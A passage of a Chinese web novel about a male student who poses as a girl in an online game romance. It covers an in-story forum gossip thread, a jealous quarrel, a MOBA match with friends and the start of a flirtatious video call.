所以这对象什么来头？他们交往多久了啊，另外谈恋爱为什么就战力下降呢，想不明白 #83 没听过，盲猜也是个白富美 #85 nono，这个小清宝宝不像是很有钱的，一开始衣服都是过任务送的，氪条估计不高 至于为什么谈恋爱就战力下降，因为我们帮主对她已经到了一种痴迷的程度，一点不夸张，人家想要他干嘛就干嘛，情侣头像框情侣时装全换上了，还挂了称号，恨不得摘星星摘月亮。前阵子上线的18w8彩礼知道吗，我们帮主上线秒送。可以说是完全陷进恋爱，没心思去搞其他的了 #88 nb #90 666妹妹怎么做到的，我也想游戏里找个提款机 #91 这就是典型的被女人当狗玩了，简直是我们男人中的耻辱 女人只会影响拔剑的速度知道吗？ #93 楼上你懂个屁，你想被玩都轮不上 ＃95 @93L 我*你个*** #99 停停停宝子们，别又吵起来了。就我一个人很好奇吗，这妹妹得多好看才能把富哥迷成这样啊 #101 好不好看不知道，这个小清宝宝好像没在社交媒体露过脸。不过声音挺那啥的，之前帮战时录了一段，自由心证吧【视频.mp4】 #104 卧槽，嗲的我起鸡皮疙瘩了 #106 传说中的……极品少萝？ #110 纯纯一个臭夹子，原来孤少好这口 #113 bro搁论坛嫌弃夹子，游戏里遇到别偷偷认主 #114 呵呵，一听就是网络女神，说不定还是个驾照妹。再配个有钱无脑现实200斤的舔狗桂男，谁看了不说一句天造地设 #120 喂，你们讨厌独孤归讨厌，攻击人家对象干嘛，又不是人对象骂你们的，造谣上了还 #121 楼上几个失心疯了？为什么要对一个陌生女孩恶意这么大？小清宝宝人很好，性格也很温柔。楼上那个爆视频的，你是我们帮会的吧，别以为小号就查不到，我把帖子发给帮主，你就等着吧 #125 楼主 不是大哥们别害我行吗，好端端的发什么视频啊？ 评价别人声音也是够没品的。独孤大佬你要是看见了别找我麻烦行吗，我就一条路过的战力党，对恩怨情仇没有兴趣！！！ #127 哈哈，别独孤了，直接叫小清她老公吧，没准人能高兴点 【此贴已被楼主自行申请删除】 19.第十九章 最近因为搬出来住，生活花费增加，赚钱的事再次被黎清提上首要日程。 过去他打过不少工，之所以选择做代练，看中的就是时间自由，以及不用出门，对性格内向的人来说极具吸引力。 但自由归自由，说好听点是灵活，说难听点就是不稳定，全看游戏的排期和版本风向。 旺季时各大活动扎堆，老板们争相找上门，黎清要同时挂着三四个号，熬夜到凌晨才能肝完。到淡季时却又无人问津，吃了上顿没下顿，有时好几天都开不了张。 最近就处于淡季，他已经两天没有新单子了。 黎清翻着兼职群里的消息，不是餐饮店招钟点工，就是快递站找分拣员，报酬还算可以，但他的体力有点跟不上。 实在不行找份实习吧，就当积累经验了。可现在的公司都把大学生当廉价劳动力，实习期工资还没摇奶茶高，而且时间上也难以调和。 黎清有些纠结。其实如果真的想来钱，倒是有个非常快的方法，而且毫无难度。直接伸手找萧奕然要就可以了。但是…… 点开账户余额，黎清轻叹了口气。说他傻也好，骂他假清高也罢，但他就是做不到心安理得地去花独孤的钱。 在他的一套逻辑里，虽然自己骗了对方，用女生的身份谈恋爱，但那是出于彼此陪伴的需要。可钱却不一样，钱是实实在在的东西，金额大了还可能演变成经济纠纷，甚至触犯到法律。 于是，黎清把萧奕然平时发的红包、节日里转的账都存进了活期理财，利息都没怎么动。 那个用来存钱的账户，他几乎不敢细看。每次数字跳动增长，带来的不是喜悦，而是沉甸甸的、近乎抵押品般的负担。 那些贵重的礼物，比如数码产品，他就只拆开外包装拍照。一些必须要拆封使用的，比如饰品，戴完后也都收好放进抽屉里。 当然，零食和贴身衣物就算了。前者放久了会过期，倒也没必要什么都节省。至于贴身衣服，都被自己穿过了，估计洗干净人家也不想要吧。 虽然没什么意义，但黎清就是无法坦然接受那些给予。一天又一天，他只能用这种别扭的方式安慰自己，仿佛在等待某个连自己都不清楚走向的结局。 . 刚结束一天的行程。今天黎清在学校附近的展子找到一份兼职，做现场的工作人员。 这类工作通常是日结，报酬可观，工作量也不小，主要就是维持现场秩序，顺便帮人指指路。站了一天，好在返程时不是下班高峰期，顺利在地铁上找到了座位。 回到住处已快九点半了，他匆匆冲了个澡，洗去一身疲惫。刚在电脑前坐下，一个熟悉又醒目的头像便跳了出来 【私密】爱妻小清：回来了？ 【私密】爱妻小清：玩的开心吗 结为情缘后，只要对方上线，系统就会特别提醒，方便玩家第一时间知晓另一半的动向。 为了隐瞒兼职的事，出门之前，黎清跟萧奕然说的是跟朋友出去玩——没有异性，小姐妹手拉手逛街的那种，保证十点前回来，这才勉强应付过去。 【私密】小清宝宝：嗯，开心 【私密】爱妻小清：买了什么吗？ 【私密】小清宝宝：没呢，不怎么缺东西 【私密】爱妻小清：嗯，有想要的跟我说 说自己出去逛街，又说自己不缺东西，会不会有些前后矛盾？ 消息刚发出去，黎清就暗道不好，似乎说错话了。好在萧奕然没太在意，并未多加追问。 黎清抬起头，看向屏幕里那个与自己ID格式相似、极容易弄混的四字名称，左眼的眼皮又重重跳了一下。 ——真的很夸张啊，不论看多少次，他都觉得独孤现在的新名字太夸张了，就没人有同感的吗？ 还真没人有同感。不管是顶着这个名字的萧奕然本人，还是作为闺蜜的柚子，亦或是帮会里的其他帮众，都觉得这样特别甜蜜，每次看见都要起哄。 尤其是柚子，她看见之后可满意了，不仅夸赞黎清“训夫有方”，还对这一行为作出颇高评价： “土是土了点，但心意真不就行了？重要的是态度，这种昭告天下‘哥已认主’的态度。” 这么说我还得夸夸他了？黎清愕然，被认主这个词雷到了。 “哎，小清。本来我还担心你性格这么软，谈了后会变成恋爱脑呢，没想到啊……” 柚子拖长尾音，笑的很是邪恶。像是调侃，又像是在表扬，“没想到直接给人整得五迷三道的，不开玩笑，感觉你现在让人叫妈妈他都能同意。” “……” “要不试试？” “不了。” 对于现在恶劣的网络风气，黎清不予置评。 说回到改ID这件事，关于萧奕然为什么突然要改，很显然，这绝对不是黎清要求的，他一直觉得“独孤”二字已经足够帅气，也很符合萧奕然本人的气质。 改名的真正起因，其实是两天前的一场争执。 【然：这个人是谁？】 【然：[截图]】 那天，收到萧奕然发来这张战绩截图时，黎清午觉刚睡醒，眼睛都有点睁不开。 他当时迷迷糊糊的，压根不知道这张战绩图到底怎么了，定睛一看才发现是自己前几天打的。结算页面内，[小清宝宝]和另一名玩家头顶显示双排的字样，原来萧奕然是在说他跟“异性”打游戏的事。 【清清绵绵冰：一个不认识的人。你不在，我就在帮会群里临时d了个搭子，看他面板数据不错就组队了】 【清清绵绵冰：我之前都没跟他说过话的，真的是才认识，也只聊了点装备的话题。你介意的话我就不加他了】 脑袋清醒之后，黎清首先澄清了自己与那人的关系，然后是组队的原因。给男友看完战绩回放后，就直接把那个人从游戏列表里删除了。 当时黎清以为这是个小事，自己把来龙去脉交代清楚，萧奕然那边也没继续问，照理来说就已经结束了。谁知隔天却收到一个消息：萧奕然居然把那个人踢出了帮会。 “为什么要这样呢？我说的很明白了，为什么就是不相信我。” 黎清难以置信，对那个玩家更是感到万分抱歉。 只是临时组个队而已，有必要发展到这个地步吗？ “我知道你跟他没什么。” 听到黎清受伤的语气，萧奕然在电话那头有点心虚，但他不想承认，依旧梗着脖子强调，“就是看他不顺眼不行吗？我让人查了他的贡献点，回回都是垫底，按照帮规要求也早该踢了，之前没有管很严而已。我作为帮主，按规定行事，做这点决定也不行？” “你明知道我想说的不是这个意思……” 黎清十分失落，但不全是因为萧奕然，而是因为想到别的。在这场恋爱里，他们都做不到完全坦诚相待，产生分歧也是必然。 最后还是萧奕然先道歉了，不像上次视频后的光速跪滑，这次道歉也是拽拽的。 他只字不提踢人的事，显然不觉得自己这么做有问题。只是向黎清保证，以后有事就说，不会背地里一个人生气，情侣之间多沟通。 为了给足男朋友安全感，黎清最后也按照他要求的，将游戏里能证明情侣身份的东西全都换上了。 情侣头像、主页挂件、[xxx的一生挚爱]这种高调又晃眼的亲密度称号、甚至连家园都合并成了大红色的婚房，再养一只猫咪取名小清，一只狗子叫阿然，以此充当二人婚房中的“孩子”。 这和小时候玩的□□情侣空间有什么区别？ 颇有种中学生第一次谈恋爱的幼稚感，主打一个返璞归真。 虽然的确是初恋，但黎清觉得自己已经不是小孩子了，不能总是沉迷这些把戏。所以，当萧奕然提到改情侣名时，他严辞拒绝，并表示自己不可能改名叫[独孤是我老公]，这属于底线问题。 “不改就不改，行吧。” 被拒绝后，萧奕然“啧”了声，倒也没太勉强，然后就一个人捣鼓去了。 十分钟后，用户[独孤]的所有列表好友都收到了这样一条的系统群发消息。 【本人[独孤]现已更名[爱妻小清]。虽已改名，情谊不断，记得以后常联系！】 收到消息提醒时，黎清两眼一黑：这是什么东西，爱妻、小清？ 他活了十九年，从未想过有朝一日，自己的名字能跟这个词组合在一起。强烈的羞耻感顺着脊背爬上来，这也太诡异了。 诚然，之前倒也不是没人这样叫过他。混迹网络久了，偶尔也会遇到相熟的女网友喊他“老婆”。第一次听见时，黎清还吓了一跳，疑心这是什么新型的网络暗号。 他怕对方误会，又不敢坦白自己的真实性别，憋了半晌，才支支吾吾挤出了几个字： 那个，我不是女同。 结果自然是惨遭嘲笑，还被鉴定为山顶洞人。 于是黎清知道了，她们只是开玩笑而已。老婆是爱称，没有其他的意思，没必要自作多情。 但倘若这称呼换个人呢？换成萧奕然的话…… 伴随着二人越来越亲近，许多对未来的畅想也在不经意间说出口。黎清逐渐清晰地认识到，萧奕然想要的绝不仅仅是网恋，而是一些更深的关系，莫非他是真的想和我结婚吗？ 那结婚之后呢，不会要住在一起、还做那种事情吧？可我是男的啊？ 可能是思绪被某人带偏了，黎清最近也总爱胡思乱想，连两个男人不能结婚都忘了，逻辑被抛到九霄云外。 再结合平时在世界频道刷到的各种cpdd，倒是顺理成章地想到：自己现在是个有cp的人了。 还好 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看见萧奕然发过来的文字，黎清简直无语到要翻白眼了，完全理解不了他的脑回路，只能赶紧制止这种危险的想法。 为了个游戏名字跟人较劲，甚至花钱去买，听上去神经病，但这种事萧奕然绝对干的出来。 可谁会闲着没事占这个啊，肯定就是碰巧撞名字了啊！小清这两个字又不是被自己独占了。 而且，按照他之前在论坛里看到的情侣起名格式，[我妻小清]说不定也有人起呢，这要是让萧奕然看见不得气死。 算了，就不要提醒这个沉迷其中的男人了…好不容易吵完架又和好，还是消停点吧。 . 把前几天发生的事情又回想了一遍，黎清恍了恍神，总感觉自己的思维已经快被同化了。 天问的游戏画面中，一身华服的剑修正操控着新锻造出的雷附魔武器，噼里啪啦地在湖里放电。所到之处鱼都被烤熟了，纷纷浮在水面，也算是用另类的方式完成钓鱼任务。 结束最后一个枯燥无聊的日常，终于到了他期待已久的环节。 【私密】爱妻小清：最后一个任务了吗，这片还有没有任务点？ 【私密】爱妻小清：做完就下了宝宝，带你去玩好玩的 哦，对了。 看他急切的样子，黎清突然想了起来，之前约好了今天去玩另一个游戏。 怎么这么激动啊，黎清抿嘴。身为天问的忠实粉丝，他对男友有点不满。天问有这么无聊吗，换个游戏玩就这么高兴？ 做完任务，黎清退出天问，点开了这款提前下载好的，名为【破晓对决】的游戏。 这是款经典的5v5对战端游，上线很多年了，黎清却没怎么玩过。相比起MOBA类游戏的快节奏和高频对战，他还是更喜欢能自已自足的养成类网游。 对，说白了就是社恐，不爱跟人组队，碰巧技术又比较菜。 因为玩不明白，黎清当初打了几局就卸载了，自然也没有账号用。为了方便，萧奕然就把自己之前的小号给他了。 顺带一提，这个小号叫【实力诠释所有】。 挺符合本人气质的。 现在账号的使用者是黎清了，他倒是对这个无所谓，诠释就诠释吧。只是破晓对决里不能绑亲密关系，按照萧奕然对宣示主权的执着，肯定是要在名字上做一番文章的。 黎清还是想叫小清宝宝，但这个名字已经被注册了，就调换了下顺序，改成了宝宝小清，萧奕然也对此积极做出响应。 【然：那我要叫小清的宝。】 【清清绵绵冰：…好哦。】 就这样，两个几百个月大的“宝宝”便开始了他们的游戏之旅。 确认登陆进去，萧奕然将人拉进一个频道，正当黎清疑惑为什么不继续用微信语音时，就听见耳麦里传来了几道吵吵嚷嚷的男声。 “老萧到底好了没？等半小时了。” “磨磨唧唧终于来了。” “我的妈，你们看这两人的名字。萧奕然你前几天也不叫这个啊，专门来喂狗粮的吗。” 骤然听见陌生人在说话，黎清被吓了一跳。随即才反应过来，这些应该是萧奕然那边的熟人，之前他是提了一嘴有朋友要来。 面对陌生人，黎清社恐又犯了，半天没打开麦克风，只是默默把耳机音量调小了一点。萧奕然也清楚女友的性格，没有让他说话，而是制止了这群吵吵闹闹的人： “行了，别催命了。这不是来了吗？刚陪我老婆做日常呢。” 他的声音带着不耐烦，又莫名有种炫耀的味道，“留着点力气好好打，等会输了跟你们没完。” 20.第二十章 经萧奕然介绍，这几人分别是他的两个朋友和一个发小，发小就是目前跟他住一起的人。 “你们好，我玩这个游戏玩的不多。” 初次见面，由于害怕被听出变声器，黎清嗓子都要夹劈叉了。 “没事，包带飞的。” “大哥，你不给对面送就谢天谢地了。” “把把稳定一血的还在这里叫。” 好在几个人嘻嘻哈哈的，完全没听出什么。对话间一口一个嫂子，把黎清说的都有点不好意思。 都怪萧奕然，今天突然发什么神经，张口闭口都是老婆，明明平时都是叫宝宝更多一点的…… “好了好了，赶紧开吧。” 结束尴尬的破冰环节，总算进入匹配界面。 黎清是一楼辅助位，他不知道该玩什么，只能小声去问自己在场的唯一熟人。 “我玩哪个好啊。” “看你自己喜欢。” 萧奕然回答道，显然没有指挥别人做事的习惯。 黎清有点纠结，他本来就不太擅长这个游戏。上一次玩还是几年前了，根本不知道现在的版本该玩什么，鼠标在几个头像下来回滑动，却始终无法做出决定。 倒计时快结束，时间紧迫，黎清有点急了，拖长的尾音也轻飘飘的滑到耳朵里，配合着变声器的加持，俨然变成了撒娇的语气：“你快说呀，你说玩哪个我就玩哪个……” “咳咳——！” 突然被嗲到，萧奕然耳根子有点发麻，除了刚认识那会儿，小清已经很久没用这种语气跟他说话了。 估计是因为紧张吧，今天真的很可爱。虽然知道估计是真不知道玩哪个好，但听在耳朵里，就像那种玩什么英雄都要征询同意，又乖又黏人的女友似的。 完全正中某些大男子主义的取向。 不过小清确实挺乖的……萧奕然想，自己可不是大男子主义，只是实话实说而已。 虽然没见过面，但他心中早就勾勒出了恋人在现实中的形象：学习认真、白皙文静，说话也轻声细语的。平时的爱好就是穿穿裙子，宅在家里打游戏。 估计生平做过最大胆叛逆的事情，也就是跟网恋男友视频了吧？ 真是让我捡到宝了。 萧奕然又开始想些有的没的了，他最近可能是魔怔了，老幻想一些日后的甜蜜细节。就这么尽情畅想的时候，还不忘抽空给人选了个英雄。 “你就选露琪亚吧，第一排第二个的。” 露琪亚是个辅助，能给队友加buff回血，跟天问里的药仙有点像。 但跟药仙那种能打aoe输出的多功能辅助不同，露琪亚是纯粹的单体增益，一次只能保护一位队友，技能也是自动瞄准。强度适中，上手难度也低，非常适合新手使用。 说直白点就是人形挂件，连体打法，谁厉害保护谁就行了，抱对大腿就能赢。 萧奕然在二楼玩打野，他选了锋刃，一个爆发很高，但操作难、身板也脆的刺客。 之后的三四五楼，发小选了ad，另外两个人补了上单和中路。他们都声称自己拿了绝活英雄，摩拳擦掌，扬言今晚一定要带嫂子上分。 听到他们豪言壮语，萧奕然没搭腔，只是淡淡对黎清说道：“你等会儿进去直接跟着我就行了。” 进入游戏，黎清从一级就跟打野连体。因为角色机制，还有辅助帮忙，锋刃刷野的速度也比对面要快上很多，找机会的时间也更多。终于在四分钟时抓了对面中单一次掉点，并顺势入侵了一波对面野区。 前期搞炸了对面野区，接下来的优势就很容易建立了。无非就是转线、开龙、抢节奏，时不时抓单，打出人数差就立马接着进野区。经济差如滚雪球般越来越大，所有的节奏都顺利无比，除了…… “不是，有没有人来管管我啊？！” 听到麦里传来求助的声音，黎清定睛一看，原来自家射手已经被对面射辅追到二塔下面了。 【你的队友[绯月]已被击杀。】 发小这局选的是个呆射，没有什么位移，但攻击范围很长。有队友在另一边出节奏牵制，其他路都没空来管他，缩在塔下清线本来不成问题。 但对面射辅也不知道怎么回事，自家野区都被进烂了，却一次都不支援，只一昧的强压，非要越塔强杀才开心。 ……好惨。 看自家射手被两个人围困在塔下，以多欺少，黎清着实有点于心不忍，“要不我去跟他一会儿吧？” 他对MOBA游戏理解不多，但朴素的游戏观认为，对面辅助在哪自己就该在哪，2v2才公平。 “不，就让他抗压，你跟我。” 萧奕然拒绝了这个提议，这把已经出了节奏，自然要围着自己打。对面射辅不来正好，就让他们赖在线上，等着另外两路被推烂就是了。 “靠、你们是不是人啊！！” 虽然知道这把射手抗压没问题，另外两名队友也一致同意，但身为抗压射本人，发小还是发出了痛苦的哀嚎。 听到他叫嚷的声音，黎清握着鼠标的手抖了下。尽管愧疚，但还是跟在萧奕然身后继续划水。 好在发小控诉完后，萧奕然也去他那边抓了几波，成功拆掉对面一塔，解放了自家射手。 时间来到第十五分钟，这是破晓对决里比较重要的一个时间点，两条元素龙相继刷新，也就意味着团战一触即发。 “我带下线，你们站住视野。” 大龙刷在上半区，萧奕然就去处理下路兵线。对面从开局就被压着打，估计也是想拼一波，看见经济最高的锋刃在下路暴露视野，五个人竟毫不犹豫地往龙坑里冲。 “别让他们秒龙。” 自家打野不在，没有惩击，赶过来还需要一点时间。但龙自然也不能拱手相让，于是他们另外四人就在周围干扰。 好在对面打的也不快，中途还拉脱了一次，但毕竟少了个人，黎清这边也被消耗了一些血量，不过靠着经济压制，四打五也没有落入下风。 双方持续拉扯，龙的血量也逐渐过半。就在所有人的注意力都集中在争夺血线时，对方上单突然从上方草丛绕出，直接大闪开团。恰巧此时巨龙释放了群体嘲讽，两者配合之下，竟打出了一段长达数秒的控制链。 糟糕！ 不得不说，对面边路的这波操作相当漂亮，一次性控住了中边辅三人。眼见他们接连被击飞，对方其余几人迅速跟上，开始集火输出。 黎清连忙交出治疗，但控制时间太长，最脆的法师还是瞬间融化。他们家的上单是个战士，顺风出的输出装，血量不算特别厚，在围攻中挣扎片刻也倒下了。 这下只剩射辅二人，还好射手的站位比较靠后，又及时交了闪，才免于被秒的命运。但随着对面包围过来，他们还是节节败退。 “往我这儿靠。” 激烈的追逐中，打野锋刃终于赶往战场。他带完了两波线，像撕咬猎物的豹子般迅速入场，转眼间收掉了对面走在最前的辅助的人头，然后是上单、中路… 他和射手都是脆皮且高伤的英雄，区别是一个近战，一个远程，两人联合反打，加上辅助的技能拉扯，竟在己方减员两人的情况下，生生逆转了战局。 “小心上面的草丛。” 对面只剩一个打野了，他趁乱溜走，让这边丢失了视野。 黎清知道他在附近，放技能探草却没探出来，以为是回城了。谁知下一秒钟，草丛里却居然冲出一个影子，这是连家都不要了吗？ 估计是知道这把要输，对面打野居然没有选择回城，而是在草里等待技能CD，试图拼个鱼死网破。 他藏身的位置恰好卡在极限距离，难怪刚才没能探出视野。面对冲上来的敌人，黎清最后一口治疗技能选中了锋刃，将其奶了回来，而自家射手则与对面同时死亡，尸体双双倒地，交叠在了战场之中。 【您的队友[锋刃]已势不可挡！】 一场激战终于落幕，最终以己方三换五收尾，对于大顺风来说，伤亡有些许惨烈。但由于对面不顾兵线强行开团，此时中下两路已被兵线推通，高地外塔不攻自破。 眼见败局已定，对面直接发起了投降。 “老公刚才帅不帅？” 看见水晶爆炸，萧奕然舒服的不行，这把游戏几乎成了他的个人秀，吃三路线，进对面野区，辅助全程连体，最后也是“不负众望”的完成了收割人头的重任，把对面打的毫无脾气。 黎清其实玩不太懂，但他觉得萧奕然玩的真好。一直带着自己杀人，伤害又高又灵活，对面以多打少都抓不死，甚至还要被反杀。 最后一波团战的时候，他都以为快输了，一身黑衣的锋刃却从天而降，把对面打的落花流水，瞬间扭转战局，逼地对面不得不投降。 “很帅。” 他小声说。 “那你再多夸老公两句。” “才不要！” “那我夸你好不好，最后一波治疗给的很关键，完全不像新手。” “嗯…我其实就是瞎按的。” “那只能说明我老婆是个天才。” …… 请问，这边的两位… 现在是在干什么呢？！ 就在这两位小情侣你侬我侬、互相吹捧的时候。被全程吃线的中路、默默抗压的射手、以及肉身扛下所有技能的上单都没有说话，心中不约而同浮现出“无语”二字。 合着他们这把灰头土脸挨打，最后全给这个皇帝打野打工了呗？ 尤其是发小，最后一波的时候明明他的血更少，但辅助还是把治疗技能给了自己的亲亲男朋友。他一个ad死了，这两人倒活的好好的，萧奕然这狗东西居然还借此装了起来，这会儿正忙着邀功呢。 “真是服了……” 发小嘀咕了句，怪不得很多人打游戏都不待见情侣，这些谈恋爱的也太恶心了吧？！ 不过鉴于这把萧奕然评分高达SS，而他们几个人分均不过A，发小更是斩获了B-的全队最低，实在是没资格多说什么。 这还能怎么办呢？他们只能闭上嘴巴，就当是给哥们在女朋友面前表现的机会了。 于是—— “老婆，下把想看我玩哪个英雄？” “别怕我来接你。” “来宝贝我给你打个buff。” 也许这世界有时候就是这样，你退一步，对方反而变本加厉。 接下来的几局，这对小情侣更过分了。肆无忌惮的连体、无时无刻秀恩爱也就算了，尤其是萧奕然，所到之处 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都是十几二十的年纪，谁还没有过一个电竞梦呢。对于游戏打的好的人，他的心里不免有点崇拜，像是戴上一层滤镜似的。 而且MOBA游戏跟天问那种网游是不一样的。除了英雄之间本身的机制差距外，大家开局都是平等发育，氪金只能改变皮肤和外观，并不会产生数值差异，从某种程度上来说更能凸显技术。 想当初《破晓对决》刚火起来的时候，黎清也刷到过不少精彩剪辑。视频里的博主大多操作飘逸，玩的高难度英雄，用眼花缭乱的技能收割人头，搭配上激燃的BGM，简直让人移不开眼。 他就是被那些剪辑骗去下载的。结果自己玩起来才发现根本不是一回事。不仅队友蠢的像猪头，自己的两只手也压根不听使唤，气得不久就卸载了游戏。 没想到时隔这么久，菜鸟也有连胜的一天。虽然主要靠的是别人的操作，但好歹也是并肩作战的队友关系，就连萧奕然也说他作用很大，自己没他不行呢…… 黎清喜滋滋的，心里还复盘着刚才的操作。完全看不出他玩之前还有点别扭，认为萧奕然不该“移情别恋”其他游戏。 “没啊，就偶尔打几把。” 面对女友天真的询问，萧奕然心花怒放，但表面上还是装的很酷。 其实他最沉迷这游戏大约是两年前，后来才转的天问。 那会儿萧奕然比较闲，几乎每天一上线就是好几个小时的排位赛。 他的打法太独，要么是当刷子carry带飞，要么是没吃起来还把队友搞破防。情绪激动的时候直接开麦对喷也是常有的事，每天两眼一睁就是干，好不容易打到最高段位却觉得没意思了。 可是今天重玩这个游戏，萧奕然却体会到不一样的感觉。 他不再是一个人了，身边多了个一直跟着自己、乖乖听话的跟班。小跟班不管什么情况都不会卖他，哪怕再危险也在他身边，死在一起也心甘情愿，简直像殉情一般。 更上瘾的是，当他大杀四方、秀翻全场之后，还能收获到小跟班的崇拜和夸奖……就连被对面气急败坏地怒骂“狗情侣”、“连体婴”，在他耳朵里都自动转化成了变相的赞美。 如果让萧奕然的几个好兄弟听到他的内心独白，大概会骂出声来。 什么叫“我不是一个人了”，原来兄弟们都不是人，只有你对象才是吗？ 如果让黎清听见这番感天动地的情感剖析，大概会有点心虚。 其实那波不卖你是因为闪现闪反了，走也走不掉，还不如刷点承伤保kd呢…… 不过这些话萧奕然是不会让别人听见的，只会深埋在自己心里。他会悄悄暗爽，私下偷练技术，继续在女友面前维持自己的MOBA天才人设。 “宝宝……想你。” 可能是肾上腺素作用，一番玩闹之后，时间已经将近凌晨一点，但萧奕然还是不想休息。 想见小清，想看那张脸，想抱在怀里…… 再三保证绝对不会干多余的事后，黎清还是磨磨蹭蹭地答应了。 “你想说什么呀，说完赶紧睡觉了。” 打了一天工，晚上回来又打游戏，这会儿快十二点，黎清是真的有点困了。 他揉了揉眼睛，侧躺在床上，腮边被挤的微微鼓起，像一颗饱满的，戳一下就凹进去的糯米糍。 “没什么啊，就看看你。” 手机对面传来好几声“咔嚓”声，黎清知道萧奕然又在截屏，也不知道他手机里究竟存了多少自己的丑照，截这些东西到底有什么用。 “你喜欢我吗？” 快要睡着的时候，电话还连着，黎清迷迷糊糊的，突然听见萧奕然在那头问他。 “唔？” 黎清一开始还没反应过来，今天太累了，思维也有点迟钝。他半眯着眼睛，虽然不明白为什么要问这个，昏昏欲睡的脑袋还是重重点了好几下。 “喜欢。” “那考虑好什么时候见面了吗？” “放假之后吧…” “那放寒假我去海城找你好不好。” “嗯……” 一夜无梦。 21.第二十一章 日子一天天过去，临近放假，几门课程陆续结课，学院组织的任务也凑到了眼前。各种事情扎堆涌来，黎清的生活被填得满满当当。 【然：宝宝醒了吗】 【然：今天是不是有考试】 【然：考完了吗？】 【然：怎么不回我】 【然：我老婆失踪了】 一天赶了两场考试，结束后又去忙学院的活动。直到晚上七点多，黎清才终于喘了口气。 肚子空落落的。食堂已经关门了，点外卖又要等，不如吃泡面方便。直到黎清回到房间、打算找个视频下饭时，才看到微信图标旁的数字红点。 【清清绵绵冰：今天太忙了，帮学校的文艺晚会做了后勤，还考了一门物理、一门口语】 【清清绵绵冰：关了消息提醒，没看见】 【清清绵绵冰：[抓狂]】 因为白天考试，他将手机设置成了免打扰模式，后来一直忘了调回来。收到消息也没有提醒，直到晚上才想起这事。 【然：是之前说的什么勤工俭学？】 【清清绵绵冰：嗯】 【然：不能辞了吗，缺钱我给你】 【清清绵绵冰：做完这个学期的吧，其实平时工作很少，本来就是学校为了照顾条件差的学生才提供的岗位，占了位置就要认真对待】 【然：好吧】 【然：[转账]】 【然：最近又瘦了，下巴都变尖了，一定要好好吃饭】 【清清绵绵冰：吃了吃了，买了最爱吃的大叔家炒饭(^-^)他家现在都变成网红店了】 【然：[摸摸头.gif]】 看见关心，黎清心里有点暖，回了个抱抱的表情。可感谢的话还没发出来，就看见了对面接下来的消息。 【然：那晚点视频好不好】 【然：好久没见宝宝了，憋了好久，之前答应我穿那件的】 原来在这等着呢。黎清碗里的泡面突然不香了。 而且哪里有好久，前几天不是刚视频过吗？只不过是纯聊天而已。 这几乎是明示了，黎清叹了口气，最后认命般地走向衣柜。 唰—— 衣柜抽屉被拉开，角落处躺着一个白色的盒子。盒身质感细腻，系着淡粉色的绸缎丝带，边缘还点缀蕾丝与水钻。 非常漂亮精致的包装盒。若不是早已打开过，他大概会以为里面装着玩偶之类的可爱东西——而非眼前这件看似精致、设计却十分大胆的…… 黎清像触电般移开视线。他放下衣服回到书桌，谁知就这么一会儿，萧奕然又给他发了好多条消息。 【然：可以吗？】 【然：求你了宝宝】 【然：你说句话好不好，不可以也没事，别冷落我】 黎清咬了下嘴唇，忆起今天自己大半天没理对方的事，再结合萧奕然这分离焦虑般的表现，别样的情绪像肥皂泡泡般浮上心头。 只是几分钟没回，哪里就冷落了……搞这么可怜兮兮的。 出于谨慎，每次和萧奕然女装视频，他都会挑室友不在的时候。 昨天陶朗说要出去玩，不用给他留灯了，要不——就视频一次吧？ 【清清绵绵冰：好吧】 【清清绵绵冰：但要等我一会儿】 黎清扒了几口泡面，打算赶紧冲个澡。脱下衣服走进淋浴间时，又想起了萧奕然刚才的话。 真的瘦了吗？ 他看向镜中的自己。 因为从小发育就比较慢，加上没有称体重的习惯，黎清对这些数字其实没什么清晰的概念，更不会注意自己胖了还是瘦了。 不过裤子确实是松了。为了稳定住腰身，本就扣的很紧的腰带也不得不往里再扣一格，这么想来，体重应该是轻了些。 可萧奕然是怎么隔着屏幕看出来的？连我自己都没留意这些小变化。说什么下巴更尖了，该不会是哪次不小心把瘦脸开大了吧… 带着这份疑惑，黎清走进浴室。热水冲去汗水和疲惫，氤氲的蒸汽也让他有些放松许多。直到走回房间，拿起那件衣服时，他才真正意识到自己即将面对怎样的挑战。 对着镜子，黎清反手到背后。好不容易才给那片小小的、带着黑白花纹的布料系在身上。 他太瘦了，骨架也不算大，全身上下都没几两肉，腰跟小腿更是细伶伶一把，只有少数地方还存了点脂肪。 靠着那点可怜的脂肪，衣物被撑起了微弱的弧度。黎清紧张地喘气，于是那点弧度也不断起伏着。 好不容易穿上衣服，才发现居然还有配套的项圈和头饰，以及……尾巴。 这些都是谁设计的？下.流死了。 黎清红着脸将尾巴扔到床下，硅胶制的东西有点重量，“咚”地砸在地板上，发出一声闷响。 根据模特图，他戴上了头饰。这个倒好，只是模拟了动物耳朵的发箍，单看还挺可爱的，但脖子上的就难搞了。 皮质的一圈，红色的，上面还坠着颗铃铛，需要把锁扣塞进眼里才能固定住。黎清都不敢照镜子，脖子又在视野盲区，就只能靠着感觉摸索，差点没找准位置勒着自己，花了十几分钟才穿戴完毕。 这该怎么见人啊，后面就几根绳子，可正面又…… 实在没办法，黎清只能找了件宽大的外套罩在外面，低头抱住自己的膝盖。 于是等到萧奕然接通视频时，就看见了一朵缩在床上的深色蘑菇。 “你在干什么？” 他笑道。 “…有点冷。” 其实黎清现在很热，一股子无名火。他不想说话，也不敢看屏幕，肉眼可见的逃避状态，却叫对面那人的恶趣味发作的更加厉害。 “答应我要穿的呢？该不会反悔了吧。” 萧奕然挑了挑眉，佯装生气的样子，“亏我今天等你等到这么晚，你却一直不理我。” “不是的！没有反悔…我穿在里面。” 黎清动了动嘴唇，声音轻的几乎要听不见。 “哪个里面，外套里面？” “嗯。” “那宝宝把外套拿掉好不好？这件…” 突然之间，萧奕然突然停了下来，如调情般的拉扯也戛然而止。他顿了顿，声音有几分哑：“往屏幕这边来，让老公看看。” 小蘑菇挪了挪屁股，往画面中央移动了一点，外套上的LOGO也随动作露了出来。 这是一件黑色的防风外套，来自某家喻户晓的平价运动品牌。 很普通的衣服，大街上随处可见，并不值得多注意，就是这样式和颜色…怎么看都不像女款。 “这外套没见过你穿过，新买的？” 萧奕然继续问，他语气平静，听不出太多情绪。 突然被问到这个，黎清还回忆了一下，“就是前段时间购物节促销买的，最近降温的厉害，就去添件外套…” 等等。 话没说完，黎清就意识到问题。 这件衣服确实是他上个月自己买的。没办法，衣柜虽满，一大半都穿不出门。眼看着天气越来越凉，他就趁大促给自己添点了装备，买的还是折上折的加大码，套在身上都能当厚麻袋了。 一件外套而已，对黎清来说只是生活必需品，但对小清宝宝来说却并不正常。 